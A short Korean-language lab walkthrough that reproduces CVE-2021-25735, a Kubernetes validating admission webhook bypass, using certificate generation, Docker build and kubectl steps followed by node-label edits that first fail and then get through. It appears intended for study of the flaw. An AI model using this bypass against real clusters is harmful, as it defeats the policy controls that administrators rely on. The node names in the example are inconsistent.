
CVE-2021-25735 익스플로잇: Kubernetes Validating Admission Webhook 우회
TLS 인증서와 키를 생성하기 위해 먼저 gencerts.sh 스크립트를 실행해 봅시다.
bash gencerts.sh
어드미션 컨트롤러를 배포하려면 아래 명령어를 사용하여 Docker 컨테이너 이미지를 로컬에서 빌드하고 태그를 지정한 다음 Dockerhub에 푸시해야 합니다.
docker login
docker build -t validationwebhook:1.0 .
docker tag validationwebhook:1.0 darryk/dev:1.0
docker push darryk/dev:1.0
이제 생성된 이미지를 Node.js 애플리케이션과 함께 K8s 클러스터에 배포할 수 있습니다. webhook-deploy.yaml은 클러스터에 필요한 모든 구성 요소를 배포합니다.
kubectl apply -f webhook-deploy.yaml
이제 웹훅을 Kubernetes API 서버에 등록해 봅시다. 이를 위해 앞서 생성한 ca.crt 파일의 Base64 값을 만들고 webhook-registration.yaml 안의 CA_BUNDLE을 교체합니다.
cat ca.crt | base64
마지막으로 웹훅을 Kubernetes API 서버에 등록합니다.
kubectl apply -f webhook-registration.yaml
edit nodes를 사용하여 노드 레이블을 변경하고 새 레이블을 추가합니다.
kubectl edit nodes ip-172-20-61-82.ec2.internal
labels:
test: test
changeAllowed: "false"
ChangeAllowed가 "false"로 설정되어 있기 때문에 다음과 같은 오류가 발생합니다:
error: nodes "ip-172-20-46-130.ec2.internal" could not be patched: admission webhook "validationwebhook.validationwebhook.svc" denied the request: Validation failed You can run
kubectl replace -f /tmp/kubectl-edit-irc64.yamlto try this update again.
다음 변경을 수행하여 노드 수정을 다시 시도하면:
labels:
test: test
changeAllowed: "true"
이 경우 편집 작업은 어드미션 컨트롤러를 우회하여 수락됩니다.